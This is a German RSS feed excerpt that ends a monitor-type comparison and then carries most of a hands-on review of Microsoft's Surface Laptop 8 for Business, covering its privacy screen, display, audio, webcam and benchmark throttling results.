<figure class="wp-block-table is-style-stripes"><table class="has-fixed-layout"><tbody><tr><td><strong>Kriterium</strong></td><td><strong>IPS-Panel</strong></td><td><strong>Mini-LED</strong></td><td><strong>OLED</strong></td></tr><tr><td><strong>Schwarzwert &amp; Kontrast</strong></td><td>Befriedigend (Grauschleier)</td><td>Sehr gut (leichtes Blooming)</td><td>Perfekt (Unendlicher Kontrast)</td></tr><tr><td><strong>Spitzenhelligkeit</strong></td><td>Gut (ca. 300–400 Nits)</td><td>Brillant (1.000+ Nits)</td><td>Sehr gut (ca. 400–1.000 Nits)</td></tr><tr><td><strong>Reaktionszeit</strong></td><td>Schnell (1–4 ms)</td><td>Schnell (1–4 ms)</td><td>Extrem schnell (0,03 ms)</td></tr><tr><td><strong>Blickwinkelstabilität</strong></td><td>Sehr hoch</td><td>Hoch</td><td>Extrem hoch</td></tr><tr><td><strong>Risiko für statische Inhalte</strong></td><td>Keines</td><td>Keines</td><td>Geringes Risiko (Burn-In-Schutz sinnvoll)</td></tr><tr><td><strong>Preis-Leistungs-Verhältnis</strong></td><td>Gut</td><td>Gut</td><td>Gehobene Preisklasse</td></tr></tbody></table></figure>



<h2 class="wp-block-heading">Software-Ergänzungskit: Mehr Komfort im Monitor-Alltag</h2>



<p>Ein Hardware-Upgrade ist nur die halbe Miete. Mit diesen drei kostenlosen Software-Tools holen Sie noch mehr aus Ihrem neuen Bildschirm heraus:</p>



<ul class="wp-block-list">
<li><a href="https://learn.microsoft.com/de-de/windows/powertoys/install?tabs=gh%2Cextract-094" target="_blank" rel="noreferrer noopener"><strong>Microsoft PowerToys (FancyZones)</strong></a><strong>:</strong> Gerade bei großen oder ultra weiten Monitoren ist das Standard-Fensterlayout von Windows überfordert. Mit dem Modul <strong>FancyZones</strong> unterteilen Sie Ihren Bildschirm in feste, frei definierbare Raster, in die Sie Fenster mit gedrückter Shift-Taste blitzschnell einrasten lassen. Ein Must-Have für Multitasking.</li>



<li><a href="https://twinkletray.com/" target="_blank" rel="noreferrer noopener"><strong>Twinkle Tray</strong></a><strong>:</strong> Wer die Helligkeit seines Monitors nicht mühsam über die fummeligen Tasten direkt am Gehäuse verstellen möchte, steuert mit diesem Tool die Monitorhelligkeit ganz bequem per Mausrad oder Tastenkombination direkt aus der Windows-Taskleiste heraus.</li>



<li><a href="https://apps.microsoft.com/detail/xp8jk4hzbvf435?hl=de-DE&amp;gl=DE" target="_blank" rel="noreferrer noopener"><strong>Auto Dark Mode:</strong></a> Um bei OLED-Displays dauerhaft helle Oberflächen zu reduzieren und am Abend die Augen zu entlasten, schaltet dieses Tool Windows sowie kompatible Apps und Websites nach Sonnenuntergang automatisch in den dunklen Design-Modus.</li>
</ul>



<h2 class="wp-block-heading">Fazit: Welcher Monitor-Typ sind Sie?</h2>



<p>Das perfekte Monitor-Upgrade richtet sich immer nach Ihrem Nutzungsverhalten im Alltag: Wer einen treuen, langlebigen Partner sucht, der acht Stunden am Tag ohne Murren Office-Dokumente anzeigt und beim Budget nicht schmerzt, greift zum <strong>IPS-Klassiker</strong>. </p>



<p>Wer sich hingegen von spektakulären HDR-Effekten in Filmen und Spielen begeistern lassen will oder tagsüber in hellen Räumen arbeitet, findet im <strong>Mini-LED-Monitor</strong> einen hell leuchtenden Allrounder. Wenn kompromisslose Bildqualität, perfektes Schwarz und die schnellsten Reaktionszeiten beim Gaming im Vordergrund stehen, führt kein Weg am <strong>OLED-Panel</strong> vorbei – sofern das nötige Kleingeld vorhanden ist.</p>

</div>]]></content:encoded>
</item>
<item>
<title><![CDATA[Surface Laptop 8 for Business im Test: Ein Laptop von gestern zum Preis von morgen]]></title>
<description><![CDATA[Mark Hachman / Foundry



Auf einen Blick



Pro




Altbekannter Surface Laptop



Der neue Blickschutz funktioniert oft gut



Die “Voice Focus”-Funktion ist ziemlich nützlich




Kontra




Unangemessen hoher Preis



Die gleiche alte Bauweise




Fazit



Der Surface Laptop 8 for Business von...]]></description>
<link>https://tsecurity.de/de/3661207/it-security-nachrichten/surface-laptop-8-for-business-im-test-ein-laptop-von-gestern-zum-preis-von-morgen/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3661207/it-security-nachrichten/surface-laptop-8-for-business-im-test-ein-laptop-von-gestern-zum-preis-von-morgen/</guid>
<pubDate>Sat, 11 Jul 2026 06:06:37 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.02.20.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195198" width="1024" height="645" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<h2 class="wp-block-heading">Auf einen Blick</h2>



<h3 class="wp-block-heading">Pro</h3>



<ul class="wp-block-list">
<li>Altbekannter Surface Laptop</li>



<li>Der neue Blickschutz funktioniert oft gut</li>



<li>Die “Voice Focus”-Funktion ist ziemlich nützlich</li>
</ul>



<h3 class="wp-block-heading">Kontra</h3>



<ul class="wp-block-list">
<li>Unangemessen hoher Preis</li>



<li>Die gleiche alte Bauweise</li>
</ul>



<h3 class="wp-block-heading">Fazit</h3>



<p>Der Surface Laptop 8 for Business von Microsoft kommt einem sofort bekannt vor. Herzstück ist ein leistungsstarker Intel Core Ultra Series 300 (Panther Lake)-Prozessor. Doch leider ist das Gerät derart teuer, dass sich ein Kauf angesichts der wenigen neuen Funktionen kaum rechtfertigen lässt.</p>



<p>Zum ersten Mal seit Jahren war ich nicht begeistert, ein neues Surface-Modell zu testen. Und auch nach dem ausführlichen Test bin ich eher enttäuscht.</p>



<p>Dabei hat der Surface Laptop 8th Edition (oder Surface Laptop 8) for Business zwei echte Pluspunkte vorzuweisen: ein Upgrade auf Intels hervorragende Prozessoren der Core Ultra 300-Serie (Panther Lake) und einen einigermaßen nützlichen Sichtschutz.</p>



<p>Letzterer kann den Bildschirm auf Knopfdruck abdunkeln und unkenntlich machen. Leider hat Microsoft aber am traditionellen Aufschlag für Surface-Geräte festgehalten. Diese Preisgestaltung treibt die Kosten des Laptops in unattraktive Höhen.</p>



<p>Fairerweise muss man sagen, dass es sich hierbei um einen Laptop der Business-Klasse handelt. Eine Consumer-Version dieses Surface Laptops wird noch in diesem Jahr folgen, ausgestattet mit einem Qualcomm Snapdragon X2 Elite Extreme-Chip.</p>



<p>Basierend auf meinen eigenen Tests beider Chips lässt sich sagen, dass der hier verbaute Intel Core Ultra 300-Prozessor den Snapdragon leicht übertreffen wird. Dies gilt zumindest für die Grafikleistung und möglicherweise auch für die Akkulaufzeit.</p>



<p>Einige Surface-Fans könnten einwenden, dass Microsoft das Design des Laptops bereits optimiert hat. Andere könnten die Optik als altbacken kritisieren. Ich gehöre definitiv zur zweiten Gruppe. Ich muss mittlerweile auf Klebezettel zurückgreifen, die ich an der Unterseite der von mir getesteten Surface-Laptops anbringe. Warum? Sie sind im Alltag sonst praktisch nicht voneinander zu unterscheiden.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.33.55.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195215" width="1024" height="636" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<h2 class="wp-block-heading">Modell-Chaos</h2>



<p>Der Microsoft Surface Laptop 8 ist mit Bildschirmdiagonalen von 13,8 Zoll und 15 Zoll erhältlich. Microsoft vertreibt das Modell offiziell als “Surface Laptop for Business (8. Generation)” oder “Surface Laptop 8 for Business”.</p>



<p>Sie können den Surface Laptop for Business auch mit einem 13-Zoll-Display kaufen. Microsoft hat den Surface Laptop bisher noch nie mit einer solchen Bildschirmgröße angeboten, weshalb er schlicht als <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">Surface Laptop for Business 13 Zoll</a> bezeichnet wird.</p>



<p>Durch den Kauf des kleineren Surface Laptops sparen Sie mehrere hundert Euro (die Preise beginnen bei 1.549 Euro, im Vergleich zu 2.119 Euro für den 13,8-Zoll-Surface Laptop 8). Die Auswahl der Komponenten beschränkt sich dann jedoch auf einen Core Ultra 5 325-Prozessor, bis zu 24 Gigabyte RAM und bis zu einem Terabyte SSD-Speicher.</p>



<p>Auf dem Papier und in der Hand ist der Surface Laptop 8 for Business im Wesentlichen identisch mit dem <a href="https://www.pcwelt.de/article/2380548/surface-laptop-7-test-eine-neue-ara-fur-windows-laptops.html" target="_blank">Surface Laptop 7</a> aus dem Jahr 2024, der ab 1.199 Euro angeboten wurde. Zugegeben, dabei handelte es sich um eine Consumer-Version des Surface Laptop mit einem Snapdragon X1 Elite. Das ändert jedoch nichts daran, dass sich der Einstiegspreis im Vergleich zu vor zwei Jahren fast verdoppelt hat. Das macht das neue Gerät deutlich unattraktiver.</p>



<h2 class="wp-block-heading">Kombination aus Alt und Neu</h2>



<p>Das Design des Surface Laptop hat sich seit Jahren kaum verändert. Direkt nach dem Auspacken liegt der Laptop angenehm in der Hand, während das glänzende Aluminiumgehäuse nun aus bis zu 64 Prozent recyceltem Material besteht. Da es jedoch leicht Fingerabdrücke anzieht, sollten Sie ein Mikrofasertuch immer griffbereit halten. Ich empfinde das Gewicht von 1,35 Kilogramm weder in der Hand noch in meinem Rucksack als unangenehm. Hier kann ich Entwarnung geben.</p>



<p>In einigen Aspekten unterscheidet sich der Surface Laptop 8 for Business von seinen Vorgängern. Da wäre zunächst der Prozessor: eine Leistungssteigerung durch den <a href="https://www.pcwelt.de/article/3025897/intel-core-ultra-series-3-laptop-chips.html" target="_blank">Intel Core Ultra Series 3-Chip</a>, bekannt als Panther Lake.</p>



<p>Zu den verfügbaren Ausführungen gehören sowohl die Basis-Konfigurationen mit Core Ultra 5 und 7 als auch der Core Ultra X7 368, der über Intels leistungsstarke integrierte GPU verfügt. Lassen Sie sich davon jedoch nicht allzu sehr verunsichern. Bei längerem Betrieb wird die Grafikeinheit durch die begrenzte Kühlung im Laptop thermisch erheblich gedrosselt.</p>



<p>Zudem gibt es eine merkwürdige Auslassung: Die Surface-App, mit der sich die Ladeoptionen des Akkus sowie einige weitere Einstellungen verwalten lassen, fehlt. Ich musste sie von Hand <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">aus dem Microsoft Store herunterladen</a>.</p>



<p>Außerdem bietet Microsoft als Option die “Privacy Screen”-Technologie an, die exklusiv für die 13,8-Zoll-Version verfügbar ist.</p>



<p>Im Wesentlichen funktioniert die “Privacy Screen”-Technologie des Surface Laptops, ähnlich wie die “Privacy Display” getaufte Funktion auf dem neuen <a href="https://www.pcwelt.de/article/3084372/samsung-galaxy-s26-ultra-test-2.html" target="_blank">Galaxy S26 Ultra</a> von Samsung.</p>



<p>Sie wird über eine neue Taste auf der Tastatur aktiviert, die als F1-Taste neben der Esc-Taste in der obersten Reihe angeordnet ist. Drückt man diese Taste, wird das Display dunkler und passt sich so an, dass es von den Seiten her schwerer lesbar ist. Microsoft erklärt <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">an dieser Stelle</a>, wie der Blickschutz funktioniert, ohne dabei die genaue Funktionsweise zu erläutern.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.33.59.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195220" width="1024" height="636" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Die Datenschutztechnologie nutzt die Fähigkeit des Laptops, die Helligkeit des Displays sowohl entsprechend den Präferenzen des Benutzers als auch in Abhängigkeit vom Umgebungslicht anzupassen. Je dunkler das Display, desto schwieriger wird es für neugierige Passanten, etwas auf dem Bildschirm zu erkennen.</p>



<p>In meinen Tests waren die Ergebnisse nicht eindeutig. In einem abgedunkelten Raum, wurde das Display aus einer Entfernung von einem Meter ab einem seitlichen Winkel von etwa 15 Grad zur Displayachse so dunkel, dass es fast nicht mehr zu erkennen war.</p>



<p>In einem helleren Raum blieb ein größerer Teil des Bildschirminhalts erkennbar. Ich konnte jedoch immer gut erkennen, um welche Art von Inhalt es sich auf dem Bildschirm handelte, auch wenn ich den eigentlichen Text nicht mehr lesen konnte. Ein Teil des Bildschirms blieb immer relativ gut sichtbar, es sei denn, ich saß sehr weit entfernt.</p>



<p>Es ist schwer zu beurteilen, wie effektiv der Blickschutz wirklich ist. Die Wirksamkeit schwankte im selben Raum unter den gleichen Bedingungen einfach zu sehr. Schauen Sie sich einfach mal die folgenden Vergleiche an. Im ersten Beispiel musste ich die Perspektive leicht verändern.</p>



<p>Aus dieser Perspektive scheint der Blickschutz kaum eine Wirkung zu entfalten. Ich habe mir dabei vorgestellt, wie es aus dem Blickwinkel einer Person aussehen würde, die auf einem Gangplatz im Flugzeug sitzt und beiläufig zu meinem Sitz über den Gang hinweg blickt. Aus dieser Perspektive glaube ich nicht wirklich, dass der Blickschutz von Microsoft wirklich funktioniert.</p>



<p>Aus einem anderen Blickwinkel betrachtet sind die Ergebnisse aber gar nicht so schlecht. Es wäre hilfreich gewesen, wenn Microsoft genau mitgeteilt hätte, in welchen Situationen der Blickschutz am wirksamsten arbeitet. In einem abgedunkelten Flugzeug, bei eingeschalteter Deckenbeleuchtung? In einem relativ hellen Raum wie meinem Büro?</p>



<p>In einem schlechter beleuchteten Raum schien der Blickschutz wirksamer zu arbeiten. Aber sollten Sie wirklich Ihre Arbeitsbedingungen anpassen müssen, um von dieser Funktion zu profitieren?</p>



<p>Zudem ist mir eine leichte Fleckbildung auf dem Display aufgefallen, die aussieht wie ein schwacher, staubiger Schleier im Displayglas. Ich vermute, dass dies an der Beschaffenheit des Sichtschutzglases selbst liegt.</p>



<p>Vielleicht wurden hierfür einige der Pixel leicht versetzt? Das Ergebnis ist jedoch deutlich sichtbar: Eine weiße Webseite wirkt bei direkter Betrachtung leicht staubig. Dies ist nicht störend oder ablenkend, aber es war auffällig.</p>



<p>Was die Ein- und Ausgänge betrifft, ist die Ausstattung des Surface Laptop 8 for Business recht übersichtlich: An der linken Seite befinden sich zwei Thunderbolt-4-/USB-C-Anschlüsse, über die mit dem entsprechenden Dock drei 4K-Displays mit 60 Hertz betrieben werden können.</p>



<p>Die Anordnung sorgt jedoch dafür, dass ein Nutzer, der die Maus mit der linken Hand bedient, sich den Platz mit den Displaykabeln teilen muss. Außerdem gibt es einen USB-A-Anschluss und eine Kopfhörerbuchse.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.34.06.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195221" width="1024" height="636" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Auf der rechten Seite befindet sich der Surface Connect-Anschluss, der beim kleineren Surface Laptop und beim neuen Surface Pro weggefallen ist. Das bedeutet, dass Sie das Gerät entweder mit so gut wie jedem handelsüblichen USB-C-Ladegerät oder mit dem mitgelieferten winzigen 60-Watt-Surface-Ladegerät wieder aufladen können.</p>



<p>Insgesamt wirkt das Design des Surface Laptop 8 for Business robust und gut verarbeitet. Es ist jedoch erwähnenswert, dass das Kühlsystem im Vergleich zu früheren Generationen gänzlich unverändert geblieben ist: Die Luft strömt durch Lüftungsgitter im Scharnier nach außen.</p>



<p>Selbst bei der Standardeinstellung des Laptops (Beste Energieeffizienz) musste ich nicht viel am Rechner tun, damit sich der Lüfter einschaltete. Unter Last war das Lüftergeräusch jedoch meist unauffällig.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.34.10.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195223" width="1024" height="636" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<h2 class="wp-block-heading">Bildschirm</h2>



<p>Kurzum, mir gefällt der Bildschirm des Surface Laptop 8 for Business einfach nicht.</p>



<p>Auf dem Papier macht das Display noch einen guten Eindruck: Das HDR-Display bietet Dolby Vision IQ-Unterstützung mit adaptiver Farb- und Kontrastanpassung von bis zu 1300:1. Microsoft bietet zwei Anzeigemodi an: sRGB und „Vivid“. Der Hersteller gibt an, dass eine Helligkeit von bis zu 600 Nits erreicht werden kann. Ich habe insgesamt eine Leuchtdichte von 491 Nits gemessen, die jedoch bei aktiviertem Sichtschutz auf 163 Nits sank.</p>



<p>Der Farbraum ist recht gut und blieb sowohl bei aktiviertem als auch bei deaktiviertem Sichtschutz unverändert.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.34.21.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195224" width="1024" height="631" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Der Surface Laptop 8 for Business bietet ein Touch-Display. Dieses ist jedoch nur für die Bedienung mit dem Finger ausgelegt. Eine Eingabe per Stift wird nicht unterstützt. Das Display lässt sich ohnehin nicht vollständig zurückklappen, was die Verwendung eines Stifts schwer machen würde.</p>



<p>Was ich am Bildschirm besonders schätze, ist eine oft unterschätzte Funktion: Die variable Bildwiederholfrequenz reicht von 120 Hertz bis hinunter auf 24 Hertz. Das ist großartig. Das 120-Hertz-Display erhöht die Bildwiederholfrequenz, wenn Sie es aktiv nutzen. Dadurch werden Mausbewegungen oder Spiele mit einer höheren Bildwiederholfrequenz dargestellt, was zu flüssigeren Bewegungen führt.</p>



<p>Wenn Sie auf einen statischen Bildschirm schauen, sinkt die Bildwiederholfrequenz auf 24 Hertz – weniger als die herkömmlichen 60 Hertz. Das senkt den Stromverbrauch, ohne dass Sie es wirklich bemerken. Der Akku hält entsprechend länger durch.</p>



<p>Der Bildschirm wirkt allerdings etwas trüb, und es gibt eine leichte Fleckenbildung, die durch den Sichtschutz verursacht wird. Dies sorgt dafür, dass die Auflösung niedriger wirkt, als sie tatsächlich ist. Mit einer Kamera lässt sich dieses Manko nicht wirklich einfangen. Vielleicht bin ich durch die neue Generation von OLED-Displays auch einfach zu verwöhnt. Doch aus meiner Sicht lässt dieser Bildschirm einfach zu viele Wünsche offen.</p>



<h2 class="wp-block-heading">Ton und Mikrofone</h2>



<p>Microsofts Surface-Geräte gehörten zu den ersten Laptops, die mit ihrer Audioqualität überzeugen konnten. Daran hat sich nichts geändert. Die integrierten Omnisonic-Lautsprecher unterstützen Dolby Atmos und bieten mehr Lautstärke, als für einen kleinen Raum nötig wäre. Der Sound klang zwar etwas flacher, als ich ihn in Erinnerung hatte.</p>



<p>Dennoch benötigen Sie für diesen Laptop nicht unbedingt Kopfhörer. Die Audioqualität der verbauten Lautsprecher ist über den gesamten Frequenzbereich hinweg recht gut.</p>



<p>Die beiden Studio-Mikrofone sorgen für eine neue Funktion namens “Voice Focus“. Diese soll in bestimmten, aber nicht näher genannten Anwendungen unterstützt werden. Der Algorithmus konzentriert sich dabei auf Ihre Stimme und nicht auf Geräusche im Hintergrund. Um diese Funktion auszuprobieren, nahm ich meine Stimme mit der Windows-App “Sound Recorder” auf, während ich im Hintergrund Musik und weißes Rauschen abspielte.</p>



<p>Beide Hintergrundgeräusche blieben noch etwas hörbar. Das weiße Rauschen wurde deutlich besser herausgefiltert als der Gesang im Hintergrund. Hier wusste die Software einfach nicht, ob sie die abgespielte Musik beibehalten oder ausblenden sollte. Die meisten neuen Asus-Laptops bieten eine noch bessere Geräuschfilterung.</p>



<h2 class="wp-block-heading">Tastatur und Touchpad</h2>



<p>Die Tastatur gehörte einst auch zu den Aspekten, die ein Surface-Gerät ausgezeichnet haben. Mittlerweile haben die anderen Hersteller jedoch aufgeholt. Mir sind dennoch keine Mängel an der Tastatur des Surface Laptop 8 for Business aufgefallen. Sie ist nicht deutlich besser oder schlechter als andere gute Laptop-Tastaturen.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.34.33.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195225" width="1024" height="722" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Der neue Surface Laptop verfügt über die haptischen Touchpads, die Microsoft vor einigen Jahren eingeführt hat. Diese lassen sich über die gesamte Fläche anklicken. Dies ist im Vergleich zu herkömmlichen Touchpads ein echter Pluspunkt. Microsoft arbeitet zudem daran, ein subtiles haptisches Feedback auszulösen, wenn der Mauszeiger über bestimmte Bildschirmelemente bewegt wird, wie das “X” zum Schließen eines Fensters. Der Effekt ist sehr unauffällig, aber dennoch ein nettes kleines Detail.</p>



<p>Das Touchpad lässt sich zudem über die Surface-App anpassen. Diese war auf meinem Testgerät jedoch nicht vorinstalliert. Die App kann jedoch <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">kostenlos aus dem Microsoft Store</a> heruntergeladen werden. Mit der Software können Sie festlegen, welcher Bereich des Surface-Touchpads auf Rechts- und Linksklicks reagiert.</p>



<h2 class="wp-block-heading">Webcam</h2>



<p>Der Surface Laptop 8 for Business verfügt über eine 1080p-Kamera, die die Windows Studio-Effekte wie Hintergrundunschärfe, Bildausschnitt, Blickkontakt und mehr unterstützt. Außerdem bietet sie die Gesichtserkennung, einen wesentlichen Bestandteil der <a href="https://www.pcwelt.de/article/2480916/warum-sie-windows-hello-verwenden-sollten-um-ihren-pc-zu-sichern.html" target="_blank">Windows Hello-Technologie</a>. Während des Testzeitraums hatte ich keinerlei Probleme mit der Anmeldung über die Kamera.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.34.53.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195226" width="1024" height="596" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Da es sich um eine “Business”-Kamera handelt, erwartet man von der Webcam eine professionelle Darstellung unter verschiedenen Lichtverhältnissen. Und unter der hellen LED-Beleuchtung meines Büros funktioniert dies auch gut.</p>



<p>Hier habe ich die Webcam sowohl im hellen Licht unseres Büros als auch bei natürlicherer Beleuchtung in meiner Wohnung getestet.</p>



<p>Offen gestanden war ich von den Ergebnissen nicht sonderlich beeindruckt. Bei natürlicher Beleuchtung (der Himmel war an diesem Tag bewölkt) schnitt die Webcam recht gut ab, obwohl das Bild körniger war, als ich es erwartet hätte. Im Büro wirkte das Bild der Kamera jedoch etwas blass.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.01.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195227" width="1024" height="564" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<h2 class="wp-block-heading">Leistung</h2>



<p>Derzeit zählt der Intel Core Ultra 300 (<a href="https://www.pcwelt.de/article/2937427/intel-panther-lake-laptop-cpu.html?gad_source=1&amp;gad_campaignid=23842067659&amp;gclid=Cj0KCQjwi8nRBhDhARIsAHZf_pb7YWtNKos2TT2Azmce-HO0WHiai6SycmExhDbngIoE4SM7zBW4V3gaAs7_EALw_wcB" target="_blank">Panther Lake</a>) zu den besten Premium-Laptop-Prozessoren, die Sie im Jahr 2026 kaufen können. Den kürzlich vorgestellten AMD Ryzen AI 400-Prozessor konnten wir noch nicht in einem marktreifen Laptop finden.</p>



<p>Bislang durften wir Panther Lake jedoch nur in größeren Produktivitäts-Laptops mit überlegenen Kühlungslösungen wie dem <a href="https://www.pcwelt.de/article/3025832/die-10-besten-laptops-der-ces-2026.html" target="_blank">Asus ZenBook Duo</a> ausprobieren. Zum besseren Verständnis: Läuft ein Laptop über einen längeren Zeitraum unter hoher Last, kann sich die Performance durch Drosselung reduzieren. Auf diese Weise soll eine gefährliche Überhitzung verhindert werden. Im Fall des Surface Laptop 8 ist dies ein Punkt, auf den Sie besonders achten sollten.</p>



<p>Der Cinebench-2024-CPU-Benchmark umfasst einen “Thermal-Throttling”-Test. Dabei wird der Benchmark wiederholt über einen Zeitraum von zehn Minuten ausgeführt. In diesem Szenario ist eine verminderte Leistung ein Hinweis auf thermische Drosselung. Sie können dann einen einzelnen Durchlauf mit dem Langzeittest vergleichen. So kann festgestellt werden, ob eine Drosselung auftritt. In unserem Fall sank die CPU-Leistung bei einem Vergleich von 773 auf 689 Punkte.</p>



<p>Mit dem 3DMark-Grafiktest lässt sich ebenfalls ein Langzeittest durchführen – in diesem Fall zwanzig Benchmark-Durchläufe – und die Leistung im Verlauf des Tests vergleichen. Hier war der Unterschied noch größer.</p>



<p>Der Benchmark erzielte beim ersten Durchlauf die höchste Punktzahl, fiel dann bei den nachfolgenden Durchläufen auf etwa die Hälfte der Leistung ab und verblieb während der folgenden Testläufe auf diesem Niveau.</p>



<p>Was sagt uns das? In gewisser Weise sind Leistungswerte oft irreführend. Der Surface Laptop 8 funktioniert am zuverlässigsten in kurzen, intensiven Phasen, zumindest was das Gaming betrifft.</p>



<p>Für längere Sitzungen ist das Gerät weniger gut geeignet. Andererseits scheint die Kühlung für CPU-intensive Aufgaben auszureichen. Zu diesen Aufgaben zählen unter anderem das Betriebssystem, das Komprimieren und Dekomprimieren von Dateien sowie allgemeine Anwendungen ohne viele visuelle Elemente. Beachten Sie, dass wir zwar die NPU-Fähigkeiten des Laptops nicht testen, er sich mit seinen 50 TOPS jedoch als <a href="https://www.pcwelt.de/article/2819676/copilot-pc-lohnt-sich-der-kauf-eines-ki-rechners-das-mussen-sie-wissen.html" target="_blank">Copilot-PC</a> qualifiziert.</p>



<p>Ich habe den Surface Laptop 8 for Business mit mehreren 14-Zoll-Laptops der jüngsten Generation verglichen: dem <a href="https://www.pcwelt.de/article/2479359/acer-swift-14-ai-laptop-test.html" target="_blank">Acer Swift X 14 AI</a> und dem verwandten Modell <a href="https://www.pcwelt.de/article/3048294/acer-swift-edge-14-ai-test.html" target="_blank">Acer Swift Edge 14 AI</a>.</p>



<p>Hinzu kamen zwei Panther-Lake-Laptops: der <a href="https://www.pcwelt.de/article/3168116/surface-laptop-8-for-business-test.html#" target="_blank">Dell XPS 14</a> und der <a href="https://www.pcwelt.de/article/3072282/msi-prestige-flip-14-ai-test.html" target="_blank">MSI Prestige Flip 14 AI</a>. Schließlich habe ich noch zwei Snapdragon-Laptops hinzugefügt: den <a href="https://www.pcwelt.de/article/2380548/surface-laptop-7-test-eine-neue-ara-fur-windows-laptops.html" target="_blank">Surface Laptop 7</a> (2024) mit einem Snapdragon X1 Elite-Chip der ersten Generation sowie den <a href="https://www.pcwelt.de/article/2403490/lenovo-yoga-slim-7x-test.html" target="_blank">Lenovo Yoga Slim 7x Gen 11</a>, der mit einem Snapdragon X2 Elite Extreme-Chip der zweiten Generation ausgestattet ist.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.14.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195228" width="1024" height="588" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



<p>Der PCMark-10-Test deckt ein breites Spektrum ab, das von Videoanrufen über das Surfen im Internet hin zu CAD-Anwendungen und einigen weniger anspruchsvollen Spielen reicht.</p>



<p>Aufgrund der Vielfalt der getesteten Anwendungen ist dieser Benchmark nach wie vor relevant. Der Surface Laptop profitiert ein wenig von seiner leistungsstarken integrierten GPU, obwohl es sich hierbei in erster Linie um CPU-orientierte Tests handelt.</p>



<p>Für andere Tests, die sich nicht mit PCMark messen lassen, verwenden wir stattdessen Cinebench 2024. Obwohl es eine Version für 2026 gibt, nutzen wir aus Kompatibilitätsgründen weiterhin Cinebench 2024. Auch hier gilt: Panther Lake ist eine leistungsstarke CPU, die bei kurzer Spitzenlast eine hohe Leistung bietet.</p>


<div class="extendedBlock-wrapper block-coreImage undefined"><figure class="wp-block-image size-large"><img loading="lazy" decoding="async" src="https://b2b-contenthub.com/wp-content/uploads/2026/07/Bildschirmfoto-2026-07-09-um-20.35.25.png?w=1024" alt="Surface Laptop 8" class="wp-image-4195229" width="1024" height="475" sizes="auto, (max-width: 1024px) 100vw, 1024px"></figure><p class="imageCredit">Mark Hachman / Foundry</p></div>



